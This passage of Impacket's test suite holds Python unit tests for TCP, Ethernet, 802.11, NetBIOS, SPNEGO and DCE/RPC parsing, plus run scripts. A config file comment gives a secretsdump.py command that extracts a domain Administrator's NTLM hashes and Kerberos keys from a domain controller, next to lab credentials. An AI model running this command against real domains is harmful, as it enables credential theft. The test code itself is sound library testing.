40, Flags: 0x02, win_size: 5840 26 | # cksum: 0x64cb, Options: 0x20 27 | self.frame = '\xec\xef\x00\x50\xa8\xbd\xea\x4c\x00\x00\x00\x00\xa0\x02\x16\xd0' \ 28 | '\x64\xcb\x00\x00\x02\x04\x05\xb4\x04\x02\x08\x0a\x00\xdc\xd6\x12' \ 29 | '\x00\x00\x00\x00\x01\x03\x03\x06' 30 | 31 | self.tcp = TCP(self.frame) 32 | 33 | def test_01(self): 34 | 'Test TCP get_packet' 35 | self.assertEqual(self.tcp.get_packet(), self.frame) 36 | 37 | def test_02(self): 38 | 'Test TCP getters' 39 | self.assertEqual(self.tcp.get_th_sport(), 60655) 40 | self.assertEqual(self.tcp.get_th_dport(), 80) 41 | self.assertEqual(self.tcp.get_th_off()*4, 40) # *4 because are words 42 | self.assertEqual(self.tcp.get_th_flags(), 0x02) 43 | self.assertEqual(self.tcp.get_th_win(), 5840) 44 | self.assertEqual(self.tcp.get_th_sum(), 0x64cb) 45 | self.assertEqual(self.tcp.get_SYN(), 1) 46 | self.assertEqual(self.tcp.get_RST(), 0) 47 | 48 | def test_03(self): 49 | 'Test TCP port setters' 50 | self.tcp.set_th_sport(54321) 51 | self.assertEqual(self.tcp.get_th_sport(), 54321) 52 | 53 | self.tcp.set_th_dport(81) 54 | self.assertEqual(self.tcp.get_th_dport(), 81) 55 | 56 | def test_04(self): 57 | 'Test TCP offset setters' 58 | # test that set_th_off doesn't affect to flags 59 | flags = int('10101010',2) 60 | self.tcp.set_th_flags( flags ) 61 | self.assertEqual(self.tcp.get_th_flags(), flags) 62 | 63 | self.tcp.set_th_off(4) 64 | self.assertEqual(self.tcp.get_th_off(), 4) 65 | self.assertEqual(self.tcp.get_th_flags(), flags) 66 | 67 | def test_05(self): 68 | 'Test TCP win setters' 69 | 70 | self.tcp.set_th_win(12345) 71 | self.assertEqual(self.tcp.get_th_win(), 12345) 72 | 73 | def test_06(self): 74 | 'Test TCP checksum setters' 75 | self.tcp.set_th_sum(0xFEFE) 76 | self.assertEqual(self.tcp.get_th_sum(), 0xFEFE) 77 | 78 | 79 | def test_07(self): 80 | 'Test TCP flags setters' 81 | self.tcp.set_th_flags(0x03) # SYN+FIN 82 | self.assertEqual(self.tcp.get_th_flags(), 0x03) 83 | 84 | self.tcp.set_ACK() 85 | self.assertEqual(self.tcp.get_ACK(), 1) 86 | self.assertEqual(self.tcp.get_SYN(), 1) 87 | self.assertEqual(self.tcp.get_FIN(), 1) 88 | self.assertEqual(self.tcp.get_RST(), 0) 89 | self.assertEqual(self.tcp.get_th_flags(), 19) 90 | 91 | def test_08(self): 92 | 'Test TCP reset_flags' 93 | # Test 1 94 | self.tcp.set_th_flags(19) # ACK+SYN+FIN 95 | self.assertEqual(self.tcp.get_th_flags(), 19) 96 | self.assertEqual(self.tcp.get_ACK(), 1) 97 | self.assertEqual(self.tcp.get_SYN(), 1) 98 | self.assertEqual(self.tcp.get_FIN(), 1) 99 | self.assertEqual(self.tcp.get_RST(), 0) 100 | 101 | self.tcp.reset_flags(0x02) 102 | 103 | self.assertEqual(self.tcp.get_th_flags(), 17) 104 | 105 | # Test 2 106 | flags = int('10011', 2) # 19 = ACK+SYN+FIN 107 | self.tcp.set_th_flags(flags) 108 | self.assertEqual(self.tcp.get_th_flags(), 19) 109 | 110 | # 010011 111 | # 000010 112 | # ------ 113 | # 010001 = 17 114 | self.tcp.reset_flags(int('000010',2)) 115 | 116 | self.assertEqual(self.tcp.get_th_flags(), 17) 117 | 118 | # Test 3 119 | flags = int('10011', 2) # 19 = ACK+SYN+FIN 120 | self.tcp.set_th_flags(flags) 121 | self.assertEqual(self.tcp.get_th_flags(), 19) 122 | 123 | # 010011 124 | # 010001 125 | # ------ 126 | # 000010 = 2 127 | self.tcp.reset_flags(int('010001',2)) 128 | 129 | self.assertEqual(self.tcp.get_th_flags(), 2) 130 | 131 | def test_09(self): 132 | 'Test TCP set_flags' 133 | flags = int('10101010',2) # 0xAA 134 | self.tcp.set_flags(flags) 135 | self.assertEqual(self.tcp.get_FIN(), 0) 136 | self.assertEqual(self.tcp.get_SYN(), 1) 137 | self.assertEqual(self.tcp.get_RST(), 0) 138 | self.assertEqual(self.tcp.get_PSH(), 1) 139 | self.assertEqual(self.tcp.get_ACK(), 0) 140 | self.assertEqual(self.tcp.get_URG(), 1) 141 | self.assertEqual(self.tcp.get_ECE(), 0) 142 | self.assertEqual(self.tcp.get_CWR(), 1) 143 | self.assertEqual(self.tcp.get_th_flags(), 0xAA ) 144 | 145 | suite = unittest.TestLoader().loadTestsFromTestCase(TestTCP) 146 | unittest.TextTestRunner(verbosity=1).run(suite) 147 | 148 | -------------------------------------------------------------------------------- /tests/ImpactPacket/test_TCP_bug_issue7.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | # sorry, this is very ugly, but I'm in python 2.5 4 | import sys 5 | sys.path.insert(0,"../..") 6 | 7 | from impacket.ImpactPacket import TCP, ImpactPacketException 8 | from binascii import hexlify 9 | import unittest 10 | from threading import Thread 11 | 12 | class TestTCP(unittest.TestCase): 13 | 14 | def setUp(self): 15 | # Dummy TCP header with "Maximum Segment Size" Option and zero length 16 | self.frame = '\x12\x34\x00\x50\x00\x00\x00\x01\x00\x00\x00\x00\x60\x00\x00\x00\x8d\x5c\x00\x00\x02\x00\x00\x00' 17 | 18 | def test_01(self): 19 | 'Test TCP options parsing hangs' 20 | class it_hangs(Thread): 21 | def __init__(self): 22 | Thread.__init__(self) 23 | def run(self): 24 | try: 25 | frame = '\x12\x34\x00\x50\x00\x00\x00\x01\x00\x00\x00\x00' \ 26 | '\x60\x00\x00\x00\x8d\x5c\x00\x00\x02\x00\x00\x00' 27 | tcp = TCP(frame) 28 | #except Exception,e: 29 | # print "aaaaaaaaaaaaaaa" 30 | # print e 31 | #except Exception,e: 32 | except ImpactPacketException,e: 33 | if str(e) != "'TCP Option length is too low'": 34 | raise e 35 | except: 36 | pass 37 | 38 | thread_hangs = it_hangs() 39 | thread_hangs.setDaemon(True) 40 | thread_hangs.start() 41 | thread_hangs.join(1.0) # 1 seconds timeout 42 | self.assertEqual(thread_hangs.isAlive(), False) 43 | #if thread_hang.isAlive(): 44 | 45 | 46 | suite = unittest.TestLoader().loadTestsFromTestCase(TestTCP) 47 | unittest.TextTestRunner(verbosity=1).run(suite) 48 | 49 | -------------------------------------------------------------------------------- /tests/ImpactPacket/test_ethernet.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | import sys 4 | sys.path.insert(0,"../..") 5 | 6 | from impacket.ImpactPacket import Ethernet, EthernetTag 7 | from array import array 8 | import unittest 9 | 10 | class TestEthernet(unittest.TestCase): 11 | 12 | def setUp(self): 13 | # Ethernet frame with a 802.1Q tag (TPID=0x8100, PCP=5, DEI=0, VID=3315) 14 | # and ethertype 0x0800 (IPv4) 15 | self.frame = '\x54\xab\xa3\xb9\x38\x3d\xe2\xef\x8d\xc7\xa8\x5e\x81\x00\xac\xf3\x08\x00' 16 | self.eth = Ethernet(self.frame) 17 | 18 | def test_01(self): 19 | """Test Ethernet getters""" 20 | self.assertEqual(self.eth.get_packet(), self.frame) 21 | self.assertEqual(self.eth.get_header_size(), 18) 22 | self.assertEqual(self.eth.get_ether_type(), 0x0800) 23 | 24 | # Check source and destination MACs 25 | self.assertEqual(self.eth.get_ether_dhost(), array('B', self.frame[0:6])) 26 | self.assertEqual(self.eth.get_ether_shost(), array('B', self.frame[6:12])) 27 | 28 | def test_02(self): 29 | """Test Ethernet setters""" 30 | self.eth.set_ether_type(0x88cc) 31 | self.assertEqual(self.eth.get_ether_type(), 0x88cc) 32 | 33 | # Swap source and destination MACs 34 | dhost = self.eth.get_ether_dhost() 35 | shost = self.eth.get_ether_shost() 36 | self.eth.set_ether_dhost(shost) 37 | self.eth.set_ether_shost(dhost) 38 | self.assertEqual(self.eth.get_ether_dhost(), array('B', self.frame[6:12])) 39 | self.assertEqual(self.eth.get_ether_shost(), array('B', self.frame[0:6])) 40 | 41 | def test_03(self): 42 | """Test EthernetTag getters""" 43 | tag = self.eth.pop_tag() 44 | self.assertEqual(tag.get_buffer_as_string(), '\x81\x00\xac\xf3') 45 | self.assertEqual(tag.get_tpid(), 0x8100) 46 | self.assertEqual(tag.get_pcp(), 5) 47 | self.assertEqual(tag.get_dei(), 0) 48 | self.assertEqual(tag.get_vid(), 3315) 49 | 50 | def test_04(self): 51 | """Test EthernetTag setters""" 52 | tag = self.eth.pop_tag() 53 | tag.set_tpid(0x88a8) 54 | tag.set_pcp(2) 55 | tag.set_dei(1) 56 | tag.set_vid(876) 57 | self.assertEqual(tag.get_buffer_as_string(), '\x88\xa8\x53\x6c') 58 | 59 | def test_05(self): 60 | """Test manipulation with VLAN tags""" 61 | def check_tags(*tags): 62 | self.assertEqual(self.eth.tag_cnt, len(tags)) 63 | self.assertEqual(self.eth.get_header_size(), 14 + 4*len(tags)) 64 | self.assertEqual(self.eth.get_ether_type(), 0x0800) 65 | for i,tag in enumerate(tags): 66 | self.assertEqual(self.eth.get_tag(i).get_buffer_as_string(), tag) 67 | 68 | # Add S-tag (outer tag, closest to the Ethernet header) 69 | self.eth.push_tag(EthernetTag(0x88a85001)) 70 | check_tags('\x88\xa8\x50\x01', '\x81\x00\xac\xf3') 71 | 72 | # Set C-tag (inner tag, closest to the payload) to default 73 | self.eth.set_tag(1, EthernetTag()) 74 | check_tags('\x88\xa8\x50\x01', '\x81\x00\x00\x00') 75 | 76 | # Insert a deprecated 802.1QinQ header between S-tag and C-tag 77 | self.eth.push_tag(EthernetTag(0x910054d2), index=1) 78 | check_tags('\x88\xa8\x50\x01', '\x91\x00\x54\xd2', '\x81\x00\x00\x00') 79 | 80 | # Test negative indices 81 | tags = {} 82 | for i in range(-3,3): 83 | tags[i] = self.eth.get_tag(i).get_buffer_as_string() 84 | 85 | self.assertEqual(tags[-1], tags[2]) 86 | self.assertEqual(tags[-2], tags[1]) 87 | self.assertEqual(tags[-3], tags[0]) 88 | 89 | # Accessing non-existent tags raises IndexError 90 | self.assertRaises(IndexError, self.eth.get_tag, 3) 91 | self.assertRaises(IndexError, self.eth.get_tag, -4) 92 | self.assertRaises(IndexError, self.eth.set_tag, 3, EthernetTag()) 93 | self.assertRaises(IndexError, self.eth.set_tag, -4, EthernetTag()) 94 | 95 | # Test Ethernet constructor 96 | data = self.eth.get_buffer_as_string() 97 | eth_copy = Ethernet(data) 98 | self.assertEqual(eth_copy.tag_cnt, 3) 99 | self.assertEqual(eth_copy.get_header_size(), 26) 100 | self.assertEqual(eth_copy.get_ether_type(), 0x0800) 101 | 102 | # Remove the deprecated 802.1QinQ header and check resulting frame 103 | eth_copy.pop_tag(1) 104 | self.assertEqual(eth_copy.tag_cnt, 2) 105 | self.assertEqual(eth_copy.get_packet(), self.frame[:12] + tags[0] + tags[2] + self.frame[-2:]) 106 | 107 | 108 | suite = unittest.TestLoader().loadTestsFromTestCase(TestEthernet) 109 | unittest.TextTestRunner(verbosity=1).run(suite) 110 | -------------------------------------------------------------------------------- /tests/SMB_RPC/__init__.py: -------------------------------------------------------------------------------- 1 | pass 2 | -------------------------------------------------------------------------------- /tests/SMB_RPC/dcetests.cfg: -------------------------------------------------------------------------------- 1 | [global] 2 | 3 | [TCPTransport] 4 | # NetBIOS Name 5 | servername = 6 | # Targets IP 7 | machine = 172.16.123.232 8 | # Must be Administrator 9 | username = Administrator 10 | password = test 11 | # NTLM Hashes and aesKeys can be grabbed in a single run by running (replace the credentials and target machine) 12 | # secretsdump.py -just-dc-user contoso/Administrator contoso.com/Administrator@172.16.123.232 13 | # Keep in mind you must specify the domain NetBIOS name (e.g. contoso), not the domain FQDN (e.g. contoso.com) 14 | # NTLM Hash 15 | hashes = 16 | # Kerberos AES 256 Key 17 | aesKey256 = 18 | # Kerberos AES 128 Key 19 | aesKey128 = 20 | # It must be the domain FQDN 21 | domain = CONTOSO.COM 22 | 23 | [SMBTransport] 24 | servername = 25 | machine = 172.16.123.232 26 | username = Administrator 27 | password = test 28 | hashes = 29 | aesKey256 = 30 | aesKey128 = 31 | domain = 32 | -------------------------------------------------------------------------------- /tests/SMB_RPC/rundce.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | separator='======================================================================' 3 | 4 | export PYTHONPATH=../../:$PYTHONPATH 5 | if [ $# -gt 0 ] 6 | then 7 | # Only run coverage when called by tox 8 | RUN="coverage run --append --rcfile=../coveragerc " 9 | else 10 | RUN=python 11 | fi 12 | 13 | $RUN test_rpcrt.py 14 | $RUN test_scmr.py 15 | $RUN test_epm.py 16 | $RUN test_samr.py 17 | $RUN test_wkst.py 18 | $RUN test_srvs.py 19 | $RUN test_lsad.py 20 | $RUN test_lsat.py 21 | $RUN test_rrp.py 22 | $RUN test_mgmt.py 23 | $RUN test_ndr.py 24 | $RUN test_drsuapi.py 25 | $RUN test_wmi.py 26 | $RUN test_dcomrt.py 27 | $RUN test_even6.py 28 | $RUN test_bkrp.py 29 | $RUN test_tsch.py 30 | $RUN test_dhcpm.py 31 | $RUN test_secretsdump.py 32 | $RUN test_rprn.py 33 | -------------------------------------------------------------------------------- /tests/SMB_RPC/test_fasp.py: -------------------------------------------------------------------------------- 1 | ############################################################################### 2 | # Tested so far: 3 | # 4 | # FWOpenPolicyStore 5 | # 6 | # Not yet: 7 | # 8 | # Shouldn't dump errors against a win7 9 | # 10 | ################################################################################ 11 | 12 | import unittest 13 | import ConfigParser 14 | 15 | from impacket.dcerpc.v5 import transport, epm, fasp 16 | from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_PKT_INTEGRITY, RPC_C_AUTHN_LEVEL_PKT_PRIVACY, RPC_C_AUTHN_LEVEL_NONE 17 | from impacket.dcerpc.v5.ndr import NULL 18 | 19 | 20 | class FASPTests(unittest.TestCase): 21 | def connect(self): 22 | rpctransport = transport.DCERPCTransportFactory(self.stringBinding) 23 | if len(self.hashes) > 0: 24 | lmhash, nthash = self.hashes.split(':') 25 | else: 26 | lmhash = '' 27 | nthash = '' 28 | if hasattr(rpctransport, 'set_credentials'): 29 | # This method exists only for selected protocol sequences. 30 | rpctransport.set_credentials(self.username,self.password, self.domain, lmhash, nthash) 31 | dce = rpctransport.get_dce_rpc() 32 | dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY) 33 | dce.connect() 34 | dce.bind(fasp.MSRPC_UUID_FASP, transfer_syntax = self.ts) 35 | 36 | return dce, rpctransport 37 | 38 | def test_FWOpenPolicyStore(self): 39 | dce, rpctransport = self.connect() 40 | request = fasp.FWOpenPolicyStore() 41 | request['BinaryVersion'] = 0x0200 42 | request['StoreType'] = fasp.FW_STORE_TYPE.FW_STORE_TYPE_LOCAL 43 | request['AccessRight'] = fasp.FW_POLICY_ACCESS_RIGHT.FW_POLICY_ACCESS_RIGHT_READ 44 | request['dwFlags'] = 0 45 | resp = dce.request(request) 46 | resp.dump() 47 | 48 | def test_hFWOpenPolicyStore(self): 49 | dce, rpctransport = self.connect() 50 | resp = fasp.hFWOpenPolicyStore(dce) 51 | resp.dump() 52 | 53 | 54 | def test_FWClosePolicyStore(self): 55 | dce, rpctransport = self.connect() 56 | resp = fasp.hFWOpenPolicyStore(dce) 57 | request = fasp.FWClosePolicyStore() 58 | request['phPolicyStore'] = resp['phPolicyStore'] 59 | resp = dce.request(request) 60 | resp.dump() 61 | 62 | def test_hFWClosePolicyStore(self): 63 | dce, rpctransport = self.connect() 64 | resp = fasp.hFWOpenPolicyStore(dce) 65 | resp = fasp.hFWClosePolicyStore(dce,resp['phPolicyStore']) 66 | resp.dump() 67 | 68 | class TCPTransport(FASPTests): 69 | def setUp(self): 70 | FASPTests.setUp(self) 71 | configFile = ConfigParser.ConfigParser() 72 | configFile.read('dcetests.cfg') 73 | self.username = configFile.get('TCPTransport', 'username') 74 | self.domain = configFile.get('TCPTransport', 'domain') 75 | self.serverName = configFile.get('TCPTransport', 'servername') 76 | self.password = configFile.get('TCPTransport', 'password') 77 | self.machine = configFile.get('TCPTransport', 'machine') 78 | self.hashes = configFile.get('TCPTransport', 'hashes') 79 | self.stringBinding = epm.hept_map(self.machine, fasp.MSRPC_UUID_FASP, protocol = 'ncacn_ip_tcp') 80 | self.ts = ('8a885d04-1ceb-11c9-9fe8-08002b104860', '2.0') 81 | 82 | class TCPTransport64(FASPTests): 83 | def setUp(self): 84 | FASPTests.setUp(self) 85 | configFile = ConfigParser.ConfigParser() 86 | configFile.read('dcetests.cfg') 87 | self.username = configFile.get('TCPTransport', 'username') 88 | self.domain = configFile.get('TCPTransport', 'domain') 89 | self.serverName = configFile.get('TCPTransport', 'servername') 90 | self.password = configFile.get('TCPTransport', 'password') 91 | self.machine = configFile.get('TCPTransport', 'machine') 92 | self.hashes = configFile.get('TCPTransport', 'hashes') 93 | self.stringBinding = epm.hept_map(self.machine, fasp.MSRPC_UUID_FASP, protocol='ncacn_ip_tcp') 94 | self.ts = ('71710533-BEBA-4937-8319-B5DBEF9CCC36', '1.0') 95 | 96 | # Process command-line arguments. 97 | if __name__ == '__main__': 98 | import sys 99 | if len(sys.argv) > 1: 100 | testcase = sys.argv[1] 101 | suite = unittest.TestLoader().loadTestsFromTestCase(globals()[testcase]) 102 | else: 103 | suite = unittest.TestLoader().loadTestsFromTestCase(TCPTransport) 104 | suite.addTests(unittest.TestLoader().loadTestsFromTestCase(TCPTransport64)) 105 | unittest.TextTestRunner(verbosity=1).run(suite) 106 | -------------------------------------------------------------------------------- /tests/SMB_RPC/test_nmb.py: -------------------------------------------------------------------------------- 1 | try: 2 | import configparser 3 | except ImportError: 4 | import ConfigParser as configparser 5 | import unittest 6 | 7 | from impacket import nmb 8 | from impacket.structure import hexdump 9 | 10 | 11 | class NMBTests(unittest.TestCase): 12 | def create_connection(self): 13 | pass 14 | 15 | def test_encodedecodename(self): 16 | name = 'THISISAVERYLONGLONGNAME' 17 | encoded = nmb.encode_name(name,nmb.TYPE_SERVER,None) 18 | hexdump(encoded) 19 | decoded = nmb.decode_name(encoded) 20 | hexdump(decoded[1]) 21 | 22 | #self.assertTrue(nmb.TYPE_SERVER==decoded[0]) 23 | self.assertTrue(name[:15]==decoded[1].strip()) 24 | 25 | # ToDo: Fix the scope functionality 26 | #namescope = 'MYNAME' 27 | #encoded = nmb.encode_name(namescope,nmb.TYPE_SERVER,'SCOPE') 28 | #hexdump(encoded) 29 | #decoded = nmb.decode_name(encoded) 30 | #hexdump(decoded) 31 | 32 | #self.assertTrue(nmb.TYPE_SERVER==decoded[0]) 33 | #self.assertTrue(namescope[:15]==decoded[1].strip()) 34 | 35 | def test_getnetbiosname(self): 36 | n = nmb.NetBIOS() 37 | res = n.getnetbiosname(self.machine) 38 | print(repr(res)) 39 | self.assertTrue( self.serverName, res) 40 | 41 | def test_getnodestatus(self): 42 | n = nmb.NetBIOS() 43 | resp = n.getnodestatus(self.serverName.upper(), self.machine) 44 | print(resp) 45 | 46 | def test_gethostbyname(self): 47 | n = nmb.NetBIOS() 48 | n.set_nameserver(self.serverName) 49 | resp = n.gethostbyname(self.serverName, nmb.TYPE_SERVER) 50 | print(resp.entries) 51 | 52 | def test_name_registration_request(self): 53 | n = nmb.NetBIOS() 54 | # ToDo: Look at this 55 | #resp = n.name_registration_request('*SMBSERVER', self.serverName, nmb.TYPE_WORKSTATION, None,nmb.NB_FLAGS_G, '1.1.1.1') 56 | try: 57 | resp = n.name_registration_request('*JSMBSERVER', self.serverName, nmb.TYPE_WORKSTATION, None,nmb.NB_FLAGS_ONT_P, '1.1.1.2') 58 | resp.dump() 59 | except Exception as e: 60 | print str(e) 61 | if str(e).find('NETBIOS') <= 0: 62 | raise e 63 | 64 | def test_name_query_request(self): 65 | n = nmb.NetBIOS() 66 | # ToDo: Look at this 67 | # resp = n.name_registration_request('*SMBSERVER', self.serverName, nmb.TYPE_WORKSTATION, None,nmb.NB_FLAGS_G, '1.1.1.1') 68 | resp = n.name_query_request(self.serverName, self.machine) 69 | print(resp.entries) 70 | 71 | class NetBIOSTests(NMBTests): 72 | def setUp(self): 73 | NMBTests.setUp(self) 74 | # Put specific configuration for target machine with SMB1 75 | configFile = configparser.ConfigParser() 76 | configFile.read('dcetests.cfg') 77 | self.serverName = configFile.get('SMBTransport', 'servername') 78 | self.machine = configFile.get('SMBTransport', 'machine') 79 | 80 | if __name__ == "__main__": 81 | suite = unittest.TestLoader().loadTestsFromTestCase(NetBIOSTests) 82 | unittest.TextTestRunner(verbosity=1).run(suite) 83 | -------------------------------------------------------------------------------- /tests/SMB_RPC/test_spnego.py: -------------------------------------------------------------------------------- 1 | import unittest 2 | 3 | from impacket import smb 4 | 5 | class Test(unittest.TestCase): 6 | def setUp(self): 7 | self.negTokenInit = '\x60\x28\x06\x06\x2b\x06\x01\x05\x05\x02\xa0\x1e\x30\x1c\xa0\x1a\x30\x18\x06\x0a\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x1e\x06\x0a\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x0a' 8 | 9 | self.negTokenInit2 = '\x60\x4d\x06\x06\x2b\x06\x01\x05\x05\x02\xa0\x43\x30\x41\xa0\x0e\x30\x0c\x06\x0a\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x0a\xa2\x2f\x04\x2d\x4e\x54\x4c\x4d\x53\x53\x50\x00\x01\x00\x00\x00\x15\x82\x08\x60\x09\x00\x09\x00\x20\x00\x00\x00\x04\x00\x04\x00\x29\x00\x00\x00\x57\x4f\x52\x4b\x47\x52\x4f\x55\x50\x4a\x41\x43\x4b' 10 | 11 | self.negTokenResp1 = '\xa1\x82\x01\x0b\x30\x82\x01\x07\xa0\x03\x0a\x01\x01\xa1\x0c\x06\x0a\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x0a\xa2\x81\xf1\x04\x81\xee\x4e\x54\x4c\x4d\x53\x53\x50\x00\x02\x00\x00\x00\x1e\x00\x1e\x00\x38\x00\x00\x00\x15\x82\x8a\x62\x29\x93\x18\x15\x3d\x3b\x0d\x8a\x00\x00\x00\x00\x00\x00\x00\x00\x98\x00\x98\x00\x56\x00\x00\x00\x06\x01\xb1\x1d\x00\x00\x00\x0f\x57\x00\x49\x00\x4e\x00\x2d\x00\x41\x00\x36\x00\x4b\x00\x50\x00\x55\x00\x30\x00\x54\x00\x31\x00\x52\x00\x36\x00\x53\x00\x02\x00\x1e\x00\x57\x00\x49\x00\x4e\x00\x2d\x00\x41\x00\x36\x00\x4b\x00\x50\x00\x55\x00\x30\x00\x54\x00\x31\x00\x52\x00\x36\x00\x53\x00\x01\x00\x1e\x00\x57\x00\x49\x00\x4e\x00\x2d\x00\x41\x00\x36\x00\x4b\x00\x50\x00\x55\x00\x30\x00\x54\x00\x31\x00\x52\x00\x36\x00\x53\x00\x04\x00\x1e\x00\x57\x00\x49\x00\x4e\x00\x2d\x00\x41\x00\x36\x00\x4b\x00\x50\x00\x55\x00\x30\x00\x54\x00\x31\x00\x52\x00\x36\x00\x53\x00\x03\x00\x1e\x00\x57\x00\x49\x00\x4e\x00\x2d\x00\x41\x00\x36\x00\x4b\x00\x50\x00\x55\x00\x30\x00\x54\x00\x31\x00\x52\x00\x36\x00\x53\x00\x07\x00\x08\x00\x52\xe8\x2b\x20\x70\x30\xcd\x01\x00\x00\x00\x00' 12 | 13 | self.negTokenResp2 = '\xa1\x81\xab\x30\x81\xa8\xa2\x81\xa5\x04\x81\xa2\x4e\x54\x4c\x4d\x53\x53\x50\x00\x03\x00\x00\x00\x18\x00\x18\x00\x40\x00\x00\x00\x18\x00\x18\x00\x58\x00\x00\x00\x12\x00\x12\x00\x70\x00\x00\x00\x08\x00\x08\x00\x82\x00\x00\x00\x08\x00\x08\x00\x8a\x00\x00\x00\x10\x00\x10\x00\x92\x00\x00\x00\x15\x82\x08\x60\x24\x7f\xec\x6e\x53\x09\x86\x8a\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0f\x99\x24\xd3\x12\xd5\x95\xe1\x33\xba\xfa\x00\x3e\xe3\xfd\x58\x63\xbd\x3e\x83\x0d\x4e\x71\xdc\x57\x00\x4f\x00\x52\x00\x4b\x00\x47\x00\x52\x00\x4f\x00\x55\x00\x50\x00\x74\x00\x65\x00\x73\x00\x74\x00\x4a\x00\x41\x00\x43\x00\x4b\x00\x32\xd2\x67\xd6\xa5\xa9\x4b\x97\x2a\xaf\x45\xee\x87\x58\x0c\x6d' 14 | 15 | self.negTokenResp3 = '\xa1\x07\x30\x05\xa0\x03\x0a\x01\x00' 16 | 17 | def test_negTokenInit(self): 18 | token = smb.SPNEGO_NegTokenInit() 19 | token.fromString(self.negTokenInit) 20 | self.assertTrue(self.negTokenInit, token.getData()) 21 | 22 | def test_negTokenInit2(self): 23 | token = smb.SPNEGO_NegTokenInit() 24 | token.fromString(self.negTokenInit2) 25 | self.assertTrue(self.negTokenInit2, token.getData()) 26 | 27 | def test_negTokenResp1(self): 28 | token = smb.SPNEGO_NegTokenResp() 29 | token.fromString(self.negTokenResp1) 30 | self.assertTrue(self.negTokenResp1, token.getData()) 31 | 32 | def test_negTokenResp2(self): 33 | token = smb.SPNEGO_NegTokenResp() 34 | token.fromString(self.negTokenResp2) 35 | self.assertTrue(self.negTokenResp2, token.getData()) 36 | 37 | def test_negTokenResp3(self): 38 | token = smb.SPNEGO_NegTokenResp() 39 | token.fromString(self.negTokenResp3) 40 | self.assertTrue(self.negTokenResp3, token.getData()) 41 | 42 | if __name__ == "__main__": 43 | unittest.main() 44 | -------------------------------------------------------------------------------- /tests/coveragerc: -------------------------------------------------------------------------------- 1 | # .coveragerc to control coverage.py 2 | [run] 3 | branch = True 4 | source = impacket 5 | omit = *remcom* 6 | 7 | [report] 8 | # Regexes for lines to exclude from consideration 9 | exclude_lines = 10 | # Have to re-enable the standard pragma 11 | pragma: no cover 12 | 13 | # Don't complain about missing debug-only code: 14 | if self\.debug 15 | 16 | # Don't complain if tests don't hit defensive assertion code: 17 | raise AssertionError 18 | raise NotImplementedError 19 | 20 | # Don't complain if non-runnable code isn't run: 21 | if 0: 22 | if __name__ == .__main__.: 23 | 24 | ignore_errors = True 25 | 26 | [html] 27 | directory = coverage_html_report 28 | 29 | [report] 30 | ignore_errors = True 31 | -------------------------------------------------------------------------------- /tests/dot11/runalltestcases.bat: -------------------------------------------------------------------------------- 1 | 2 | FOR /f "tokens=*" %%G IN ('dir /B *.py') DO %%G -------------------------------------------------------------------------------- /tests/dot11/runalltestcases.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | separator='======================================================================' 3 | export PYTHONPATH=../..:$PYTHONPATH 4 | 5 | if [ $# -gt 0 ] 6 | then 7 | # Only run coverage when called by tox 8 | RUN="coverage run --append --rcfile=../coveragerc " 9 | else 10 | RUN=python 11 | fi 12 | 13 | total=0 14 | ok=0 15 | failed=0 16 | for file in `ls *.py` ; do 17 | echo $separator 18 | echo Executing $file 19 | latest=$( 20 | $RUN $file 2>&1 | { 21 | while read line; do 22 | echo " $line" 1>&2 23 | latest="$line" 24 | done 25 | echo $latest 26 | } 27 | ) 28 | #echo Latest ${latest} 29 | result=${latest:0:6} 30 | if [ "$result" = "FAILED" ] 31 | then 32 | (( failed++ )) 33 | elif [ "$result" = "OK" ] 34 | then 35 | (( ok++ )) 36 | else 37 | echo "WARNING: Unknown result!!!!!" 38 | (( failed++ )) 39 | fi 40 | 41 | (( total++ )) 42 | done 43 | echo $separator 44 | echo Summary: 45 | echo " OK $ok/$total" 46 | echo " $failed FAILED" 47 | -------------------------------------------------------------------------------- /tests/dot11/test_Dot11Base.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | # sorry, this is very ugly, but I'm in python 2.5 4 | import sys 5 | sys.path.insert(0,"../..") 6 | 7 | from impacket.dot11 import Dot11, Dot11Types 8 | import unittest 9 | 10 | class TestDot11Common(unittest.TestCase): 11 | 12 | def setUp(self): 13 | # Frame control field 14 | a='\xd4\x00\x00\x00\x00\x08\x54\xac\x2f\x85\xb7\x7f\xc3\x9e' 15 | self.dot11fc=Dot11(a) 16 | 17 | def test_01_HeaderSize(self): 18 | 'Test Header Size field' 19 | self.assertEqual(self.dot11fc.get_header_size(), 2) 20 | 21 | def test_01_TailSize(self): 22 | 'Test Tail Size field' 23 | self.assertEqual(self.dot11fc.get_tail_size(), 4) 24 | 25 | def test_02_Version(self): 26 | 'Test Version field' 27 | self.assertEqual(self.dot11fc.get_version(), 0) 28 | self.dot11fc.set_version(3) 29 | self.assertEqual(self.dot11fc.get_version(), 3) 30 | 31 | def test_03_Type(self): 32 | 'Test Type field' 33 | self.assertEqual(self.dot11fc.get_type(), 1) 34 | self.dot11fc.set_type(3) 35 | self.assertEqual(self.dot11fc.get_type(), 3) 36 | 37 | def test_04_SubType(self): 38 | 'Test Subtype field' 39 | self.assertEqual(self.dot11fc.get_subtype(),13) 40 | self.dot11fc.set_subtype(5) 41 | self.assertEqual(self.dot11fc.get_subtype(),5) 42 | 43 | def test_05_ToDS(self): 44 | 'Test toDS field' 45 | self.assertEqual(self.dot11fc.get_toDS(),0) 46 | self.dot11fc.set_toDS(1) 47 | self.assertEqual(self.dot11fc.get_toDS(),1) 48 | 49 | def test_06_FromDS(self): 50 | 'Test fromDS field' 51 | self.assertEqual(self.dot11fc.get_fromDS(),0) 52 | self.dot11fc.set_fromDS(1) 53 | self.assertEqual(self.dot11fc.get_fromDS(),1) 54 | 55 | def test_07_MoreFrag(self): 56 | 'Test More Frag field' 57 | self.assertEqual(self.dot11fc.get_moreFrag(),0) 58 | self.dot11fc.set_moreFrag(1) 59 | 